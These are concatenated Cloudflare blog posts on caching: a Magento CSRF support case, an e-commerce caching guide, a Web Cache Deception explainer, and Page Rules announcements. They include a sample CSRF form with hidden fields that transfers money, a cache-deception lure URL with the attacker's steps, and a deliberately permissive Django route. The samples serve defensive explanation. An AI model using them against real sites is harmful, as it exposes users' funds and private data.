Additionally, they had enabled HTTP/2 Server Push to ensure critical CSS/JS assets could be pushed to clients when they made their first request. Without Server Push, a client has to download the HTML response, interpret it and then work out assets it needs to download.

Big images were Lazy Loaded, only downloading them when they needed to be seen by the users. Additionally, they had enabled a Cloudflare feature called Polish. With this enabled, Cloudflare dynamically works out whether it's faster serve an image in WebP (a new image format developed by Google) or whether it's faster to serve it in a different format.

These optimisations did make some improvement to performance, but their site was still slow.

In web performance, there are a few different things which can affect the response times - I've crudely summarised them into the following three categories:

• Connection & Request Time - Before a request can be sent off for a website to load something, a few things need to happen: DNS queries, a TCP handshake to establish the connection with the web server and a TLS handshake to establish a secure connection

• Page Render - A dynamic site needs to query databases, call APIs, write logs, render views, etc before a response can be made to a client

• Response Speed - Downloading the response from web server, browser-side rendering of the HTML and pulling the other resources linked in the HTML

The e-commerce site had taken steps to improve their Response Speed by enabling HTTP/2 and performing other on-site optimisations. They had also optimised their Connection & Response Time by using a CDN service like Cloudflare to provide fast DNS and reduce latency when optimising TLS/TCP connections.

However, they now realised the critical step they needed to optimise was around the Page Render that would happen on their web server.

By looking at a Waterfall View of how their site loaded (similar to the one below) they could see the main constraint.

Example Waterfall view from WebSiteOptimization.com

On the initial request, you can see the green "Time to First Byte" view taking a very long time.

Many browsers have tools for viewing Waterfall Charts like the one above, Google provide some excellent documentation for Chrome on doing this: Get Started with Analyzing Network Performance in Chrome DevTools. You can also generate these graphs fairly easily from site speed test tools like WebPageTest.org.

Time to First Byte itself is an often misunderstood metric and often can't be attributed to a single fault. For example; using a CDN service like Cloudflare may increase TTFB by a few milliseconds, but do so to the benefit of an overall load time. This can be as the CDN is adding additional compression functionality to speed up the response, or simply as it has to establish a connection back to the origin web server (which isn't visible by the client).

There are instances where it is important to debug why TTFB is a problem. For example; in this instance, the e-commerce platform was taking upwards of 3 seconds just to generate the HTML response. In this case, it was clear the constraint was the server-side Page Render.

When the web server was generating dynamic content, it was having to query databases and perform logic before a request could be served. In most instances (i.e. a product page) the page would be identical to every other request. It would only be when someone would add something to their shopping cart that the site would really become dynamic.

Before someone logs into the the Magento admin panel or adds something to their shopping cart, the page view is anonymous and will be served up identically to every visitor. It will only be the when an anonymous visitor logs in or adds something to their shopping cart that they will see a page that's dynamic and unlike every other page that's been rendered.

It therefore is possible to cache those anonymous requests so that Magento on an origin server doesn't need to constantly regenerate the HTML.

Cloudflare users on our Business Plan are able to cache anonymous page views when using Magneto using our Bypass Cache on Cookie functionality. This allows for static HTML to be cached at our edge, with no need for it to be regenerated from request to request.

This provides a huge performance boost for the first few page visits of a visitor, and allows them still to interact with the dynamic site when they need to. Additionally, it helps keep load down on the origin server in the event of traffic spikes, sparing precious server CPU time for those who need it to complete dynamic actions like paying for an order.

Here's an example of how this can be configured in Cloudflare using the Page Rules functionality:

The Page Rule configuration above instructs Cloudflare to "Cache Everything (including HTML), but bypass the cache when it sees a request which contains any of the cookies: external_no_cache, PHPSESSID or adminhtml. The final Edge Cache TTL setting just instructs Cloudflare to keep HTML files in cache for a month, this is necessary as Magento by default uses headers to discourage caching.

The site administrator configured their site to work something like this:

1. On the first request, the user is anonymous and their request indistinguishable from any other - their page can be served from the Cloudflare cache

2. When the customer adds something to their shopping cart, they do that via a POST request - as methods like POST, PUT and DELETE are intended to change a resource, they bypass the Cloudflare cache

3. On the POST request to add something to their shopping cart, Magento will set a cookie called external_no_cache

4. As the site owner has configured Cloudflare to bypass the cache when we see a request containing the external_no_cache cookie, all subsequent requests go direct to origin

This behaviour can be summarised in the following crude diagram:

The site administrators initially enabled this configuration on a subdomain for testing purposes, but noticed something rather strange. When they would add something to the cart on their test site, the cart would show up empty. If they then tried again to add something to the cart, the item would be added successfully.

The customer reported one additional, interesting piece of information - when they tried to mimic this cookie-based caching behaviour internally using Varnish, they faced the exact same issue.

In essence, the Add to Cart functionality would fail, but only on the first request. This was indeed odd behaviour, and the customer reached out to Cloudflare Support.

The customer wrote in just as our Singapore office were finishing up their afternoon and was initially triaged by a Support Engineer in that office.

The Support Agent evaluated what the problem was and initially identified that if the frontend cookie was missing, the Add to Cart functionality would fail.

No matter which page you access on Magento, it will attempt to set a frontend cookie, even if it doesn't add an external_no_cache cookie

When Cloudflare caches static content, the default behaviour is to strip away any cookies coming from the server if the file is going to end up in cache - this is a security safeguard to prevent customers accidentally caching private session cookies. This applies when a cached response contains a Set-Cookie header, but does not apply when the cookie is set via JavaScript - in order to allow functionality like Google Analytics to work.

They had identified that the caching logic at our network edge was working fine, but for whatever reason Magento would refuse to add something to a shopping cart without a valid frontend cookie. Why was this?

As Singapore handed their shift work over to London, the Support Engineer working on this ticket decided to escalate the ticket up to me. This was largely as, towards the end of last year, I had owned the re-pricing of this feature (which opened it up to our self-service Business plan users, instead of being Enterprise-only). That said; I had not touched Magneto in many years, even when I was working in digital agencies I wasn't the most enthusiastic to build on it.

The Support Agent provided some internal comments that described the issue in detail and their own debugging steps, with an effective "TL;DR" summary:

Debugging these kinds of customer issues is not as simple as putting breakpoints into a codebase. Often, for our Support Engineers, the customers origin server acts as a black-box and there can be many moving parts, and they of course have to manage the expectations of a real customer at the other end. This level of problem solving fun, is one of the reasons I still like answering customer support tickets when I get a chance.

Before attempting to debug anything, I double checked that the Support Agent was correct that nothing had gone wrong on our end - I trusted their judgement and no others customers were reporting their caching functionality had broken, but it is always best to cross-check manual debugging work. I ran some checks to ensure that there were no regressions in our Lua codebase that controls caching logic:

• Checked that there were no changes to this logic in our internal code respository

• Check that automated tests are still in place and build successfully

• Run checks on production to verify that caching behaviour still works as normal

As Cloudflare has customers across so many platforms, I also checked to ensure that there were no breaking changes in Magento codebase that would cause this bug to occur. Occasionally we find our customers accidentally come across bugs in CMS platforms which are unreported. This, fortunately, was not one of those instances.

The next step is to attempt to replicate the issue locally and away from the customers site. I spun up a vanilla instance of Magento 1.9 and set it up with an identical Cloudflare configuration. The experiment was successful and I was able to replicate the customer issue.

I had an instinctive feeling that it was the Cross Site Request Forgery Protection functionality that was at fault here and I started tweaking my own test Magento installation to see if this was the cases.

Cross Site Request Forgery attacks work by exploiting the fact that one site on the internet can get a client to make requests to another site.

For example; suppose you have an online bank account with the ability to send money to other accounts. Once logged in, there is a form to send money which uses the following HTML:

<form action="https://example.com/send-money">
Account Name:
<input type="text" name="account_name" />
Amount:
<input type="text" name="amount" />
<input type="submit" />
</form>

After logging in and doing your transactions, you don't log-out of the website - but you simply navigate elsewhere online. Whilst browsing around you come across a button on a website that contains the text "Click me! Why not?". You click the button, and £10,000 goes from your bank account to mine.

This happens because the button you clicked was connected to an endpoint on the banking website, and contained hidden fields instructing it to send me £10,000 of your cash:

<form action="https://example.com/send-money">
<input type="hidden" name="account_name" value="Junade Ali" />
<input type="hidden" name="amount" value="10,000" />
<input type="submit" value="Click me! Why not?" />
</form>

In order to prevent these attacks, CSRF Tokens are inserted as hidden fields into web forms:

<form action="https://example.com/send-money">
Account Name:
<input type="text" name="account_name" />
Amount:
<input type="text" name="amount" />
<input type="hidden" name="csrf_protection" value="hunter2" />
<input type="submit" />
</form>

A cookie is first set on the clients computer containing a random session cookie. When a form is served to the client, a CSRF token is generated using that cookie. The server will check that the CSRF token submitted in the HTML form actually matches the session cookie, and if it doesn't block the request.

In this instance, as there was no session cookie ever set (Cloudflare would strip it out before it entered cache), the POST request to the Add to Cart functionality could never verify the CSRF token and the request would fail.

Due to CSRF vulnerabilities, Magento applied CSRF protection to all forms; this broke Full Page Cache implementations in Magento 1.8.x/1.9.x. You can find all the details in the SUPEE-6285 patch documentation from Magento.

To validate that CSRF Tokens were definitely at fault here, I completely disabled CSRF Protection in Magento. Obviously you should never do this in production, I found it slightly odd that they even had a UI toggle for this!

Another method which was created in the Magento Community was an extension to disable CSRF Protection just for the Add To Cart functionality (Inovarti_FixAddToCartMage18), under the argument that CSRF risks are far reduced when we're talking about Add to Cart functionality. This is still not ideal, we should ideally have CSRF Protection on every form when we're talking about actions which change site behaviour.

There is, however, a third way. I did some digging and identified a Magento plugin that effectively uses JavaScript to inject a dynamic CSRF token the moment a user clicks the Add to Cart button but just before the request is actually submitted. There's quite a lengthy Github thread which outlines this issue and references the Pull Requests which fixed this behaviour in the the Magento Turpentine plugin. I won't repeat the set-up instructions here, but they can be found in an article I've written on the Cloudflare Knowledge Base: Caching Static HTML with Magento (version 1 & 2)

Effectively what happens here is that the dynamic CSRF token is only injected into the web page the moment that it's needed. This is actually the behaviour that's implemented in other e-commerce platforms and Magento 2.0+, allowing Full Page Caching to be implemented quite easily. We had to recommend this plugin as it wouldn't be practical for the site owner to simply update to Magneto 2.

One thing to be wary of when exposing CSRF tokens via an AJAX endpoint is JSON Hijacking. There are some tips on how you can prevent this in the OWASP AJAX Security Cheat Sheet. Iain Collins has a Medium post with further discussion on the security merits of CSRF Tokens via AJAX (that said, however you're performing CSRF prevention, Same Origin Policies and HTTPOnly cookies FTW!).

There is an even cooler way you can do this using Cloudflare's Edge Workers offering. Soon this will allow you to run JavaScript at our Edge network, and you can use that to dynamically insert CSRF tokens into cached content (and, then either perform cryptographic validation of CSRF either at our Edge or the Origin itself using a shared secret).

Another interesting observation is that the Magento patch which caused this interesting behaviour had been around since July 7, 2015. Why did our Support Team only see this issue in the run-up to Black Friday in 2017? What's more, we ultimately saw around a dozen support tickets around this exact issue on Magento 1.8/1.9 over the course over 6 weeks.

When an Enterprise customer ordinarily joins Cloudflare, there is a named Solutions Engineer who gets them up and running and ensures there is no pain; however when you sign-up online with a credit card, your forgo this privilege.

Last year, we released Bypass Cache on Cookie to self-serve users when a lot of e-commerce customers were in their Christmas/New Year release freeze and not making changes to their websites. Since then, there were no major shopping events; most the sites enabling this feature were new build websites using Magento 2 where this wasn't an issue.

In the run-up to Black Friday, performance and coping under load became a key consideration for developers working on legacy e-commerce websites - and they turned to Cloudflare. Given the large, but steady, influx of e-commerce websites joining Cloudflare - the low overall percentage of those on Magento 1.8/1.9 became noticeable.

Caching anonymous page views is an important, and in some cases, essential mechanism to dramatically improve site performance to substantially reduce site load, especially during traffic spikes. Whilst aggressively caching content when users are anonymous, you can bypass the cache and allow users to use the dynamic functionality your site has to offer.

When you need to insert a dynamic state into cached content, JavaScript offers a nice compromise. JavaScript allows us to cache HTML for anonymous page visits, but insert a state when the users interact in a certain way. In essence, defusing this conflict between performance and security. In the future you'll be able to run this JavaScript logic at our network edge using Cloudflare Edge Workers.

It also remains important to respect the RESTful properties of HTTP and ensure GET, OPTIONS and HEAD requests remain safe and instead using POST, PUT, PATCH and DELETE as necessary.

If you're interested in debugging interesting technical problems on a network that sees around 10% of global internet traffic, we're hiring for Support Engineers in San Francisco, London, Austin and Singapore.

A key Cloudflare feature is caching, which allows content to be served closer to the end user from our global network of data centers. Doing so improves the user's shopping experience and contributes to increasing the proportion of people completing a purchase (conversion rate).

For example:

• Walmart found improving page load time by 1 second increased their conversion rate by 2%

• Research for Amazon showed every 0.1 second of delay costs 1% of sales

• The Barack Obama campaign website saw an 80% page load time boost resulted in a 14% increase in donations

Cloudflare operates over 110 data centers around the world. When a website implements Cloudflare, visitor requests for the site will proxy through the nearest Cloudflare data center instead of connecting directly to the webserver hosting the site (origin). This means Cloudflare can store content such as images, JavaScript, CSS and HTML on our servers, speeding up access to those resources for end-users.

Most ecommerce websites rely on a backend database containing product descriptions and metadata such as prices. Without caching, each visit to a product page might involve several database requests to pull all the required data, which can introduce added latency to page load time, particularly on a busy website. Serving the website's homepage and product pages from Cloudflare's cache not only eliminates these costly database calls, but also reduces the load on your origin infrastructure.

To make the most of Cloudflare and to help maximize the speed of your website, serve as much content as possible from the Cloudflare cache.

By default, Cloudflare caches static content based on a fixed list of file extensions which includes assets such as images, CSS files and PDFs.

The reason Cloudflare only caches static content out of the box (and does not cache HTML content by default) is to avoid the risk of inappropriate data being cached. For example, if the shopping cart page is cached, then the next visitor might receive the cached version and see a cart with the incorrect contents. Therefore, while enabling more caching will let you make the most of Cloudflare, it requires careful and considered implementation.

Additional caching on Cloudflare can be enabled in one of two ways - using Page Rules or by sending cache headers from your origin. These two methods are explained in more detail here. In this blog post we’ll use Page Rules, but keep in mind you can use headers from your origin too.

A typical HTML page on an ecommerce website will contain static content (such as the product description) and dynamic content such as:

• a header section which varies according to the visitor’s logged in state - e.g. if the user is logged in, it may offer the user a “Logged in as..." message

• a basket section which populates as the user shops on the site

The user might have one or more session cookies to maintain these dynamic elements.

There are few ways to make the most of Cloudflare's caching, while taking into account the dynamic nature of ecommerce websites.

Note: the Bypass Cache on Cookie feature is only available on the Cloudflare Business and Enterprise plans

Many visitors to a site will be brand new, first time visitors - in other words, they won’t be logged in to the site and won’t have any items in their basket.

Serving their request from the Cloudflare cache means they can quickly view the page they’re looking for (whether the homepage or a specific product page). As they're a brand new visitor, the entire page can be served from the Cloudflare cache.

With most ecommerce platforms, as soon as the user logs in to the site or adds an item to basket, a relevant cookie is sent to the browser.

Cloudflare can cache the pages, but will bypass the cache should Cloudflare receive either of the cookies from the browser.

This is achieved by introducing a Page Rule with a “Bypass Cache on Cookie” setting:

In the above example, the Page Rule will cause all requests to the site to serve from cache, unless the web browser has sent a cookie named “loggedin” or “iteminbasket”.

Obviously every ecommerce platform is different, so always think through your settings and ensure you use the correct cookie values to ensure that there is no risk of private data (e.g. someone’s shopping basket) being served from cache and shown to another visitor.

A better solution would be to serve the entirety of the page from cache, but populate the dynamic elements using JavaScript / AJAX.

This means Cloudflare will serve the bulk of the page content and only small requests will pass (via Cloudflare) direct to origin to populate dynamic elements such as the basket contents.

To configure this, use a Page Rule with Cache Level “Cache Everything” for the static content and another Page Rule with Cache Level “Bypass” for the dynamic (AJAX) requests.

In this example, any requests going to www.example.com/ajax/basket_contents.php and www.example.com/ajax/logged-in-state.php would match the first Page Rule, which has cache level “Bypass” - Cloudflare will proxy the request but the request won't touch the Cloudflare cache.

Other requests, e.g. to www.example.com/products/product_page would not match the first Page Rule but would instead match the second “Cache Everything” Page Rule - thus the product page is served from the Cloudflare cache. Within that product page, the dynamic elements (such as the basket contents and the logged in state) are dynamically populated using the AJAX requests.

You should also consider introducing additional appropriate Page Rules for special pages such as the checkout pages - for example, you may wish to create a Page Rule that bypasses the cache for all the checkout pages.

Remember: only one Page Rule will execute for any given request, and Page Rules are processed in the order they exist in the Cloudflare control panel. Read over our Page Rules tutorial to better understand how they work.

Note: the Railgun feature is only available on the Cloudflare Business and Enterprise plans

Cloudflare’s Railgun technology optimizes the connection between Cloudflare and the website origin, for accelerating dynamic HTML content - content that can't be served from the Cloudflare cache.

Railgun helps in two ways:

• Establishing a persistent connection between Cloudflare and the website origin (to speed up initial connection times)

• Compressing the data that passes from the origin to Cloudflare by only sending content that has changed

Before Railgun:

After Railgun:

Railgun can happily be used in conjunction with the previously discussed caching methods.

If you’ve implemented method 1 (the bypass cache on cookie method) then Railgun will accelerate the requests which pass directly to origin due to the presence of the relevant bypass cache cookies.

Method 2 (caching everything on Cloudflare except AJAX calls to populate dynamic sections) is already more efficient than method 1. Railgun can still be used to further accelerate the AJAX requests that pass from Cloudflare to origin.

Railgun is a little more advanced as it requires installation of a small software package on (or very close to) the origin webserver to handle the compression. You can read more about Railgun here and find the installation documentation here.

Ideally a well optimized ecommerce website will leverage our caching service as much as possible - serving images, CSS and JavaScript from Cloudflare's network, in addition to as much static HTML content as possible. Adding our Railgun service to accelerate those inevitable non-cachable requests to the origin webserver will help create a fantastic, speedy shopping experience for your customers.

First, we'll explain the basics of the Web Cache Deception attack. For those who want a more in-depth explanation, Omer's original post is a great resource.

CC BY-SA 2.0 - image by shelleygibb

Imagine that you run the social media website example.com, and that each of your users has a newsfeed at example.com/newsfeed. When a user navigates to their newsfeed, the HTTP request generated by their browser might look something like this:

GET /newsfeed HTTP/1.1
Host: example.com
...

If you use Cloudflare, you don't want us to cache this request because if we did, some of your users might start seeing other users' newsfeeds instead of their own, which would be very bad. Luckily, as we'll explain below, this request won't be cached because the path in the request (the /newsfeed part) doesn't have a "cacheable file extension" (a file extension such as .jpg or .css that instructs Cloudflare that it's OK to cache the request).

The trouble begins if your website is configured to be flexible about what kinds of paths it can handle. In particular, the issue arises when requests to a path that doesn't exist (say, /x/y/z) are treated as equivalent to requests to a parent path that does exist (say, /x). For example, what happens if you get a request for the nonexistent path /newsfeed/foo? Depending on how your website is configured, it might just treat such a request as equivalent to a request to /newsfeed. For example, if you're running the Django web framework, the following configuration would do just that because the regular expression ^newsfeed/ matches both newsfeed/ and newsfeed/foo (Django routes omit the leading /):

from django.conf.urls import url

patterns = [url(r'^newsfeed/', ...)]

And here's where the problem lies. If your website does this, then a request to /newsfeed/foo.jpg will be treated as the same as a request to /newsfeed. But Cloudflare, seeing the .jpg file extension, will think that it's OK to cache this request.

Now, you might be thinking, "So what? My website never has any links to /newsfeed/foo.jpg or anything like that." That's true, but that doesn't stop other people from trying to convince your users to visit paths like that. For example, an attacker could send this message to somebody:

Hey, check out this cool link! https://example.com/newsfeed/foo.jpg

If the recipient of the message clicks on the link, they will be taken to their newsfeed. But when the request passes through Cloudflare, since the path ends in `.jpg`, we will cache it. Then the attacker can visit the same URL themselves and their request will be served from our cache, exposing your user's sensitive content.

The best way to defend against this attack is to ensure that your website isn't so permissive, and never treats requests to nonexistent paths (say, /x/y/z) as equivalent to requests to valid parent paths (say, /x). In the example above, that would mean that requests to /newsfeed/foo or /newsfeed/foo.jpg wouldn't be treated as equivalent to requests to /newsfeed, but would instead result in some kind of error or a redirect to a legitimate page. If we wanted to modify the Django example from above, we could add a $ to the end of the regular expression to ensure only exact matches (in this case, a request to /newsfeed/foo will result in a 404):

We provide many settings that allow you to customize the way our cache will treat requests to your website. For example, if you have a Page Rule enabled for /newsfeed with the Cache Everything setting enabled (it's off by default), then we'll cache requests to /newsfeed, which could be bad. Thus, the best way to ensure that your website is secure is to understand the rules that our cache uses to determine whether or not a request should be cached.

When a request comes in to our network, we perform two phases of processing in order to determine whether or not to cache the origin's response to that request:

• In the eligibility phase, which is performed when a request first reaches our edge, we inspect the request to determine whether it should be eligible for caching. If we determine that it is not eligible, then we will not cache it. If we determine that it is eligible, then we proceed to a second disqualification phase.

• In the disqualification phase, which is performed after we've received a response from the origin web server, we inspect the response to determine whether any characteristics disqualify the response from being cached. If nothing disqualifies it, then the response will be cached.

_Configuring caching via a Page Rule_

Note that site-wide settings or Page Rules can affect this logic. Below, when we say "a setting applies" or "the setting is," we mean that either a global setting exists which applies to all requests or a Page Rule with the setting exists that applies to the given request (e.g., a Page Rule for /foo/* applies to requests to /foo/bar, /foo/baz, /foo/bar/baz, etc). Page Rules override global rules if both apply to a given request.

In the eligibility phase, we use characteristics of the request from the client to determine whether or not the request is eligible to be cached. If the request is not eligible, then it will not be cached. If the request is eligible, then we will perform more processing later in the disqualification phase.

The rules for eligibility are as follows:

• If the setting is Standard, Ignore Query String, or No Query String, then:

  • a request is eligible to be cached if the requested path ends in one of the file extensions listed in Figure 1 below

  • a request may be eligible to be cached (depending on performance-related decisions made by our edge) if the requested path ends in one of the file extensions listed in Figure 2 below

  • a request is eligible to be cached if the request path is /robots.txt

• If the setting is Cache Everything, then all requests are eligible to be cached.

In addition to the above rules, if either of the following two conditions hold, then any decision made so far about eligibility will be overridden, and the request will not be eligible to be cached:

• If the Cache on Cookie setting is enabled and the configured cookie is not present in a Cookie header, then the request is not eligible to be cached.

• If the Bypass Cache on Cookie setting is enabled and the configured cookie is present in a Cookie header, then the request is not eligible to be cached.

In the disqualification phase, which only occurs if a request has been marked as eligible, characteristics of the response from the origin web server can disqualify a request. If a request is disqualified, then the response will not be cached. If a request is not disqualified, then the response will be cached.

The rules for disqualification are as follows:

• If the setting is Standard, Ignore Query String, or No Query String, or if the setting is Cache Everything and no Edge Cache TTL is present, then:

  • A Cache-Control header in the response from the origin with any of the following values will disqualify a request, causing it not to be cached:

    • no-cache

    • max-age=0

    • private

    • no-store

  • An Expires header in the response from the origin indicating any time in the past will disqualify a request, causing it not to be cached.

• If the setting is Cache Everything and an Edge Cache TTL is present, then a request will never be disqualified under any circumstances, and will always be cached.

There is one further set of rules relating to the Set-Cookie header. The following rules only apply if a Set-Cookie header is present:

• If the setting is Standard, Ignore Query String, or No Query String, or if the setting is Cache Everything and an Edge Cache TTL is present, then the request will not be disqualified, but the Set-Cookie header will be stripped from the version of the response stored in our cache.

• If the setting is Cache Everything and no Edge Cache TTL is present, then the request will be disqualified, and it will not be cached. The Set-Cookie header will be stripped from the response that is sent to the client making the request.

class
css
jar
js
jpg
jpeg
gif
ico
png
bmp
pict
csv
doc
docx
xls
xlsx
ps
pdf
pls
ppt
pptx
tif
tiff
ttf
otf
webp
woff
woff2
svg
svgz
eot
eps
ejs
swf
torrent
midi
mid

_Figure 1: Always Cacheable File Extensions_

mp3
mp4
mp4v
mpg
mpeg
mov
mkv
flv
webm
wmv
avi
ogg
m4a
wav
aac
ogv
zip
sit
tar
7z
rar
rpm
deb
dmg
iso
img
msi
msp
msm
bin
exe
dll
ra
mka
ts
m4v
asf
mk3d
rm
swf

_Figure 2: Sometimes Cacheable File Extensions_

So there you have it. So long as you make sure to follow the advice above, and make sure that your site plays nicely with our cache, you should be secure against the Web Cache Deception attack.

M42 Smart Motorway in the West Midlands, UK; courtesy of Highways England.

The load time of your website not only affects your search engine rankings, but is also correlated to the conversion rate on your site:

• Walmart.com found that for every 1 second of page speed improvement, they experienced a 2% increase in conversion rate.

• Greg Linden's presentation Make Data Useful demonstrated through A/B Testing every 100ms in page load time delays led to a 1% loss of sales for Amazon.

• Kyle Rush from the 2011 Obama for America campaign site showed a 3 second page load speed improvement increased on-site donations by 14% (resulting in over $34 million in donations).

Cloudflare is determined to help website administrators boost the performance of their websites. From today, Cloudflare users on our Business plan will gain a previously Enterprise-only Page Rule option, “Bypass Cache on Cookie”. When used in conjunction with a “Cache Everything” Page Rule, this setting allows for websites to cache the HTML of anonymous page visits without affecting dynamic content.

By caching anonymous page views, Cloudflare is able to help ensure that your origin webserver doesn't waste time constantly regenerating pages which change rarely. This ultimately allows us to reduce load on your server and reduce load times when users reach your site.

Cloudflare automatically caches static resources such as JavaScript, CSS and Images. Additionally, it is possible on all plans to instruct Cloudflare to cache static HTML using a “Cache Everything” Page Rule.

With static HTML, it is easy to work out what should and should not be cached - the response is exactly the same from request-to-request. However, this gets more complicated when you put a login form and a shopping cart into the mix. Once the user logs-in or adds a product to their shopping cart, the HTML being rendered is then personalised to them.

As HTTP is a stateless protocol; in order for a web application to determine which users need dynamic content, cookies are used. When the “Bypass Cache on Cookie” rule is matched, Cloudflare will bypass the “Cache Everything” rule and fetch HTML from the origin. Where a cookie is not set, Cloudflare abide by the "Cache Everything" rule and will seek to cache the static HTML for a given request.

Our Bypass Cache on Cookie setting allows for wildcard (“.*”) operators and OR pipe operators (“|”). Additionally, you are able to customise the cache TTL on our servers using the “Edge Cache TTL” option in Page Rule settings.

When your anonymous page views change, you can purge the cache using our web interface, our API or our platform integrations.

We have a number of tutorials on our Knowledge Base on how you can set this up with a variety of platforms:

• Caching Anonymous Page Views with WordPress or WooCommerce

• Caching Anonymous Page Views with Magento 1 and Magento 2

• How do I cache static HTML?

Want to go further? This setting can be used in conjunction with the Railgun web optimizer, which can speed up the delivery of dynamic content that cannot be cached.

Above this, Cloudflare’s Enterprise users have the option of taking their caching to the next level by using our Custom Cache Key functionality alongside other Page Rule options such as “Cache by Device Type” or “Cache on Cookie”.

Since CloudFlare launched Page Rules in 2012, our Free, Pro and Business users have been asking for a way to get more Page Rules without committing to the next plan up. Starting today, anyone on CloudFlare can add 5 additional Page Rules for just $5/month.

Page Rules allows you to fine tune your site speed and to apply CloudFlare’s wide range of features to specific parts of your site. Page Rules are also accessible over our API, so you can integrate them into your build process or sync them across your domains.

To help you get the most out of Page Rules, we’re also launching a tutorial site that features videos to help you setup Page Rules for specific content management systems like WordPress, Magento and Drupal, and for specific goals like optimizing your website's speed, increasing security, and saving on your bandwidth costs.

Page Rules are now fully programmable via API.

$ curl -X POST "https://api.cloudflare.com/client/v4/zones/${ZONE_TAG}/pagerules" \
    -H "X-Auth-Email: user@example.com" \
    -H "X-Auth-Key: 000000000000" \
    -H "Content-Type: application/json" \
    --data '{
        "targets":[{
            "target":"url",
            "constraint":{
                    "operator":"matches",
                    "value":"*example.com/images/*"
            }
        }],
        "actions":[{
            "id":"always_online",
            "value":"on"
        }],
        "priority":1,
        "status":"active"
    }'

Starting today, you can script the creation and modification of page rules. You can integrate page rules into your deployment process to bypass caching on every new API endpoint you ship, or to automatically sync your page rules across your domains on CloudFlare. Check out the page rules API docs and get started today. We can't wait to see what automations you build.

Instead of the short list of settings you could previously toggle, we've added menus with almost every setting on CloudFlare. You can see the full list of settings now available in page rules here. Moreover, as we introduce features, they will automatically be added to page rules.

To make debugging page rules easier, we've added a way for you to pause a page rule, temporarily taking it out of production while saving its current configuration. Previously to debug, you'd have to remove a page rule, and then later re-add it from scratch, somehow remembering all of its configuration. Now you can just toggle page rules on and off to take them out of production and reinstate them.

Even when you're initially creating page rules, you can start them off as paused so that you can save your draft and come back later to finish writing the page rule and deploy it.

You can even edit page rules while they are paused, meaning that you can make unlimited changes to a page rule until you choose to finally deploy it into production.

We've removed the old page rules iframe and replaced it with a brand new management panel that not only makes page rules even easier to set up and deploy, it's also perfectly responsive to any device so that you can configure page rules on the go from your phone.

We're rolling out support for the new page rules dashboard and API this morning for all CloudFlare customers. If you're a current CloudFlare customer, visit the dashboard to check it out. All of your existing page rules are still intact and unchanged, just presented in a new interface. If you’re not a customer yet and you’re interested in trying this out, you can sign up here.

As a Technical Support Engineer I get to work with many different members of the CloudFlare family and with customers from all around the world. Each day is very different to the next, and of course, some days stand out more than others.

Recently, I spent a bit of time working with a customer on an issue that was causing severe performance degradation on their website. The initial inquiry described a website that was yet to be publicised so it wasn’t seeing very much traffic. However, pages on the site were taking almost a minute to load. Throughout the day I worked with both the customer and other members of the support team to eliminate all the possible causes of the performance degradation. The main areas we looked at were:

• Did the customer’s server run out of resources?

• Was there anything preventing assets from being cached?

• Had the ISP of the customer caused traffic to be routed strangely?

• Were there any parts of the site that were noticeably slower than others?

• Did performance change when browsing the customer’s server directly?

After eliminating each of those points, it was unclear to us what was causing the issue. At this point we decided to make some configuration changes within the customer’s CloudFlare account. The main thing we did was to set up a few Page Rules to force everything under a certain URL pattern to be cached. The motivation for doing this was to ensure the site was fast for visitors while we continued to work on the performance issue behind the scenes. Another feature enabled for this CloudFlare Business customer was Railgun, to improve performance on any pages that we couldn’t set a Cache Everything page rule on.

After a careful examination of exactly what was running on the customer’s server we managed to find what was causing the issues — it was an installation of a caching programme on the origin that was taking up too much CPU, causing the web server to have to wait a long time before it could respond to any incoming requests. Upon disabling the programme the CPU load on the server dropped dramatically, this hugely improved performance.

By the end of the day the issue was solved and the customer had some extra CloudFlare features enabled to fully optimise the performance of their website — a great day working with a customer.

About Marty

Though he’d love to be at a Formula 1 race track any day of the week, we have convinced Marty to hang out in our UK office and help our customers. Previously a developer, Marty came to CloudFlare in the most awesome of ways: he was a customer. He’s now excited to be behind the scenes making the CloudFlare experience better for everyone. On his off days, he’ll be traveling between Formula 1 race tracks throughout the world.

The London Support Team (Marty is on the far left)

Do you have the enthusiasm to work with a technically motivated team? Do you enjoy working with a diverse global customer base? Are you somebody who uses their intuition to solve problems? CloudFlare is hiring Technical Support Engineers in London and San Francisco.

Today, we're making managing Page Rules even easier with Page Rules reordering.

Page Rules are applied in the order they appear in your CloudFlare dashboard, from top to bottom. The order matters, since the first Page Rule to match the request is applied. So, if you want to apply aggressive caching to a specific set of pages but exclude caching on one login or admin URL, you'd put the exclude caching Page Rule above the aggressive caching Page Rule.

Before today, reordering Page Rules was cumbersome. You had to delete and re-add Page Rules in the order that you wanted them to be applied. Now, you can easily reorder Page Rules by clicking on the icon to the left and dragging them up or down.

If you're not familiar with Page Rules or not sure how to use them, review this tutorial.

Page Rules are found in the menu available under the gear icon in My Websites, as shown in this screenshot.

Reordering feature is available now for all customers, with the number of Page Rules set by plan type: Free domains get 3, Pro domains get 20, Business domains get 50, and Enterprise domains get a custom number.

^{Mother Temple of Besakih in Bali, indonesia by dbillian, on Flickr}

Editor's Note: Since the post has the word "steps" in it, I thought I would include a picture of some steps from a visit to Mother Temple of Besakih in Bali, Indonesia. I had the good fortune of visiting Bali in 2011, and the most amazing thing about the temple is that it is built on the slopes of an active volcano.

CloudFlare's core value is that we speed up and protect any website. For new and current users, we wanted to pull together a handy guide that helps you get the most out of CloudFlare.

1. Best way to Resolve an Issue - 'Pause'

When you sign up for CloudFlare, the service should just work. However, if you notice a problem after activating CloudFlare, do not change nameservers away from CloudFlare. Instead, temporarily deactivate CloudFlare by choosing the 'pause' or 'deactivate' option on your CloudFlare My Websites Page:

Settings → Pause/Deactivate CloudFlare

Changing name servers away from CloudFlare makes it difficult to troubleshoot. If you 'pause' the service, the issue will likely be immediately resolved. Then, contact our technical support team so we can work with you to resolve the root cause.

Also see: Troubleshooting CloudFlare Problems

2. Preserving IP information --> Install modcloudflare (or equivalent)

Since CloudFlare acts as a reverse proxy for websites, CloudFlare's IPs are going to show in your server logs. There is an easy fix to restore original visitor IP for any web server.

If you have issues with things like GeoIP or .htaccess blocks not working properly on your site, installing mod_cloudflare will resolve the problem immediately.

You should also allowlist all of CloudFlare's IP addresses with your hosting provider and on your server.

Note: This is not required if you have activated CloudFlare through a CloudFlare CertifiedPartner.

3. Create PageRules

PageRules gives you more performance and configuration options, including:

• Cache HTML (our default configuration only caches these static content files)

• Exclude certain URLs from CloudFlare features and caching

• 302 redirects

We recommend that you use PageRules to exclude the admin section of yourwebsite from CloudFlare's services. This will ensure you don't see any error messages or have issues updating plugins. The PageRule you will need to create has the following structure for WordPress:

*mydomain.com/wp-admin

